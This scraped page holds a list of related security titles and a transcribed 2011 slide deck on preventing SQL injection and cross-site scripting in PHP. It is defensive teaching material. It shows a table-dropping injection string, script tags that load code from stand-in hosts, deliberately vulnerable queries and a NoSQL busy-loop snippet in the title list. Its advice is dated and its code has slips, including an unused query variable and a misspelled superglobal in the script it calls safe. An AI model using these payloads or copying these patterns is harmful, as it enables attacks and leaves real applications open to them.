Preventing SQL Injection and XSS Attacks. ACM Webmonkeys, 2011



Similar documents
Webapps Vulnerability Report

Building Dynamic Websites With the MVC Pattern. ACM UIUC, 2010

Web Application Security

AJAX with jquery. ACM Webmonkeys 2011

Project 2: Web Security Pitfalls

Magento Security and Vulnerabilities. Roman Stepanov

DIPLOMA IN WEBDEVELOPMENT

5 Simple Steps to Secure Database Development

EVALUATING COMMERCIAL WEB APPLICATION SECURITY. By Aaron Parke

Complete Cross-site Scripting Walkthrough

Web Security CS th November , Jonathan Francis Roscoe, Department of Computer Science, Aberystwyth University

Intrusion detection for web applications

Web Application Guidelines

Finding Your Way in Testing Jungle. A Learning Approach to Web Security Testing.

SQL Injection. By Artem Kazanstev, ITSO and Alex Beutel, Student

Perl In Secure Web Development

Bug Report. Date: March 19, 2011 Reporter: Chris Jarabek

Ruby on Rails Secure Coding Recommendations

SQL Injection January 23, 2013

Client vs. Server Implementations of Mitigating XSS Security Threats on Web Applications

Creating Stronger, Safer, Web Facing Code. JPL IT Security Mary Rivera June 17, 2011

Hack Proof Your Webapps

External Network & Web Application Assessment. For The XXX Group LLC October 2012

Web Application Security Considerations

Cross Site Scripting Prevention

External Vulnerability Assessment. -Technical Summary- ABC ORGANIZATION

Advanced Web Security, Lab

Cross Site Scripting (XSS) and PHP Security. Anthony Ferrara NYPHP and OWASP Security Series June 30, 2011

Advanced Web Technology 10) XSS, CSRF and SQL Injection 2

Web-Application Security

The purpose of this report is to educate our prospective clients about capabilities of Hackers Locked.

Protection, Usability and Improvements in Reflected XSS Filters

Check list for web developers

FINAL DoIT v.4 PAYMENT CARD INDUSTRY DATA SECURITY STANDARDS APPLICATION DEVELOPMENT AND MAINTENANCE PROCEDURES

Application security testing: Protecting your application and data

Security features of ZK Framework

A Tale of the Weaknesses of Current Client-side XSS Filtering

WebCruiser Web Vulnerability Scanner User Guide

SECURE APPLICATION DEVELOPMENT CODING POLICY OCIO TABLE OF CONTENTS

A Server and Browser-Transparent CSRF Defense for Web 2.0 Applications. Slides by Connor Schnaith

Finding XSS in Real World

Web applications. Web security: web basics. HTTP requests. URLs. GET request. Myrto Arapinis School of Informatics University of Edinburgh

Network Threats and Vulnerabilities. Ed Crowley

Acunetix Website Audit. 5 November, Developer Report. Generated by Acunetix WVS Reporter (v8.0 Build )

1. Introduction. 2. Web Application. 3. Components. 4. Common Vulnerabilities. 5. Improving security in Web applications

Introduction to Computer Security

Web Development using PHP (WD_PHP) Duration 1.5 months

Security Awareness For Website Administrators. State of Illinois Central Management Services Security and Compliance Solutions

University of Wisconsin Platteville SE411. Senior Seminar. Web System Attacks. Maxwell Friederichs. April 18, 2013

SQL Injection Attack Lab Using Collabtive

Finding and Preventing Cross- Site Request Forgery. Tom Gallagher Security Test Lead, Microsoft

Security Research Advisory IBM inotes 9 Active Content Filtering Bypass

Cross-Site Scripting

Revisiting SQL Injection Will we ever get it right? Michael Sutton, Security Evangelist

Nikolay Zaynelov Annual LUG-БГ Meeting nikolay.zaynelov.com

Exploits: XSS, SQLI, Buffer Overflow

Integrated Network Vulnerability Scanning & Penetration Testing SAINTcorporation.com

Cyber Security Challenge Australia 2014

CIS 433/533 - Computer and Network Security. Web Vulnerabilities, Wrapup

Lecture 15 - Web Security

PHP Tutorial From beginner to master

Toward A Taxonomy of Techniques to Detect Cross-site Scripting and SQL Injection Vulnerabilities

How To Fix A Web Application Security Vulnerability

Web Application Attacks And WAF Evasion

Developing ASP.NET MVC 4 Web Applications Course 20486A; 5 Days, Instructor-led

Högskoleexamen. Web application Security. Sektionen för informationsvetenskap, data- och elektroteknik. Rapport för Högskoleexamen, January 2013

The end. Carl Nettelblad

Website Maintenance Information For My Clients Bob Spies, Flying Seal Systems, LLC Updated: 08- Nov- 2015

Defending against XSS,CSRF, and Clickjacking David Bishop

Penetration Test Report

Cracking the Perimeter via Web Application Hacking. Zach Grace, CISSP, CEH January 17, Mega Conference

5 Mistakes to Avoid on Your Drupal Website

RIPS - A static source code analyser for vulnerabilities in PHP scripts

Web Applications Security: SQL Injection Attack

OWASP TOP 10 ILIA

A Survey on Threats and Vulnerabilities of Web Services

What about MongoDB? can req.body.input 0; var date = new Date(); do {curdate = new Date();} while(curdate-date<10000)

Security Test s i t ng Eileen Donlon CMSC 737 Spring 2008

Web Application Security

A Tale of the Weaknesses of Current Client-Side XSS Filtering

Advanced Tornado TWENTYONE Advanced Tornado Accessing MySQL from Python LAB

SQL INJECTION IN MYSQL

CS 161 Computer Security

CSE598i - Web 2.0 Security OWASP Top 10: The Ten Most Critical Web Application Security Vulnerabilities

FINAL DoIT v.8 APPLICATION SECURITY PROCEDURE

What is Web Security? Motivation

Web Security School Final Exam

Enterprise Application Security Workshop Series

Network Security Web Security

Security of Web Applications and Browsers: Challenges and Solutions

Introduction to Web Application Security. Microsoft CSO Roundtable Houston, TX. September 13 th, 2006

Transcription:

Preventing SQL Injection and XSS Attacks ACM Webmonkeys, 2011

The need for security Any website you develop, whether personal or for a business, should be reasonably secured. "Reasonably", because you probably can't secure against all possible attacks unless you spend a good deal of time and money on it. There are, very loosely, two categories of attacks against web servers: Software-based: exploit bugs, injections, etc., introduced by programmers Server-based: very generally, exploit things behind the code. Unsecured FTP connections, web server software vulnerabilities, etc. We'll focus on software-based attacks, as my expertise is mostly limited to them.

(Software) Security Prime Directive Never trust any data that comes from the client side. GET data? Validate it. POST data? Definitely validate it. POST data that you verified with a JavaScript function already? Validate it again, server-side. Cookie data? Validate it.

Why validate data? First of all, "validate" means to make sure the data is in the correct format for where it's going. On a higher level, this means making sure addresses, phone numbers, etc., are in the right format. On a lower level, this means making sure your data doesn't contain invalid characters or is unsafe for where it's going. The second type of validation above is generally referred to as "cleaning," since it usually involves modifies the data into a safe form.

Where does our data go? I mentioned before that we need to clean data based on where it's headed. So, we consider the different places data "goes" and how we need to clean it for each: Database: Need to clean data for insertion into a SQL query (this is where SQL injection comes from; more later) HTML: Need to clean up special characters into HTML entities (& becomes & for example), and strip out any script/object tags (could be malicious; this is where XSS comes into play) XML/JSON/YAML/etc.: Need to clean up any special characters that would break the serialization format.

SQL Injections First, let's review how we make an SQL query in, say, PHP: $name = "Bobby"; $sql = "INSERT INTO people (name) VALUES ('$name')"; mysql_query($qry); Here, the variable $name is set explicitly in code, so it's safe. But if we instead grab $name from POST data (that is, a form), then we need to clean it first. What if we don't clean it? Could you think of a value for $name that would cause the query to malfunction?

This comic is now probably used in every SQL injection tutorial, ever. Source: xkcd.com

Let's see why that breaks $name = "Bobby');DROP TABLE people;--"; $sql = "INSERT INTO people (name) VALUES ('$name')"; mysql_query($qry); Query executed: INSERT INTO people(name) VALUES ('Bobby');DROP TABLE people;--') Note that the name value is very specially-constructed to finish up the original query, as well as put a comment at the end (--) to make the rest of the query be ignored. SQL injection attacks can take a while to get the syntax correct. If you disable MySQL error messages, it will take an attacker even longer.

So how do we sanitize database inputs? We need to make sure the string which the name is inserted into cannot be broken out of.by the name itself. The character that ends the string is an apostrophe, so we can simply replace apostrophes with an escaped apostrophe (in most versions of SQL, \'). So, $name = str_replace("'", "\\'", $name); will work Note that we have to escape the backslash itself in PHP, since \' is also an escape character in PHP. Much easier to use standard functions, though: $name = addslashes($name); OR $name = mysql_real_escape_string($name);

One caveat: Magic Quotes PHP has a "feature" called Magic Quotes, which automatically escapes data coming from GET or POST for databases. This is generally not good, because it makes it harder to make data ready for HTML output, and is also not always consistent across servers (could be off, could be on). I recommend always turning Magic Quotes off. If you're writing a cross-platform app, use a wrapper function that checks whether magic quotes is on or off before cleaning data.

A better way to query I won't cover the details here, but using parameterized SQL is a cleaner way to clean up queries. It'll take care of calling the right cleaning method. Pseudo-code example: $sql = "INSERT INTO People(name) VALUES (@name)"; bindparam("@name", $name); executequery($sql); Of course, the even-better way (in some cases) is to use an object-relational model and skip the SQL altogether. See: most MVC frameworks

Examples of SQL injection vulnerabilities $sql = "INSERT INTO People(name) VALUES ('". $_GET ['name']. "');"; mysql_query($sql); $_SESSION['name'] = $_GET['name']; //.. later on... $sql = "INSERT INTO People(name) VALUES ('". $_SESSION ['name']. "');"; mysql_query($sql);

XSS: Cross-Site Scripting Cross-site scripting attacks are essentially code injection attacks, where the attacker somehow injects Javascript code into your site and therefore can attack any user who visits your supposedly-safe site. The "cross-site" part comes from the fact that the malicious Javascript code is generally included from some other domain. There are two basic types of XSS attacks: Persistent: The injected code is saved to your server as a comment, blog post, etc. Non-persistent: The code is passed in via a request and can therefore only infect a system if a user follows a special link (not hard to accomplish).

A persistent XSS attack 1. You write a website with a comment section 2. You forget to do proper sanitization of the comment section, so users can input arbitrary HTML 3. A user posts the comment: Hey this site is <script type="text/javascript" src="http://www. malicious.com/script.js"/> awesome! 4. Anyone who visits the site and sees that comment could now be compromised by the malicious script.

A non-persistent XSS attack 1. You write a search function for your website 2. Your search function displays the query the user entered at the top of the page, but you forgot to sanitize the search term at all 3. An attacker goes to your search page and searches for the term "<script type=text/javascript src='http://w.t/f.js'/>" 4. This generates a page with the malicious code on it; however, it only represents a threat when the page itself is linked to. 5. So, the attacker then spams people with the malicious link, knowing that your domain is reputable and thus the link will seem legitimate.

So how do we stop this? It's pretty easy, actually -- just use a function to strip HTML tags out of any user data you print to a webpage. echo strip_tags($name); Also, to eliminate persistent XSS attacks, do the same to any data you put in the database that shouldn't have HTML. $name = addslashes(strip_tags($name)); The hard part is remembering to do this in every place code injection could occur! XSS vulnerabilities are often found even on large websites. Keep them in mind as you write your website, and you should get most of them.

Example of a safe comment script // Handle a new post if (array_key_exists('comment', $_POST)) { $comment = addslashes(strip_tags($_post['comment'])); mysql_query("insert INTO Comments(comment) VALUES ('$comment')"); echo "Your comment has been posted."; } else { // Form to add comment not shown. $qry = mysql_query("select * FROM Comments"); while ($row = mysql_fetch_assoc($qry)) { echo "<p>comment: ". strip_tags($row['comment'])." </p>"; } }

Things to consider When data goes both in and out of a database, we have a question: Do we sanitize data on the way in, or on the way out? The logical answer is to sanitize data for the database on the way in, and sanitize it for whatever output format it's going to on the way out. However, redundancy can help eliminate programming errors caused by other programmers believing data to be safe when it's not. In general, you should make as few assumptions as possible; however, this can lead to slower and/or uglier code as you duplicate validations. Things like ORM help regulate access to the database and prevent these issues.

Other issues Look back at the supposedly-safe comment script two slides back. Are there ways in which it could be exploited? Users could still spam comments, for example. This isn't a security threat, but could cause denial-of-service and/or be a general annoyance. The general rule, of course, is to assume your users will mess with your code in the worst way possible. Learn to anticipate the edge cases, not just normal use. Using a framework makes it less tedious to cover for these possibilities.

Final note Don't trust client-side data. Ever.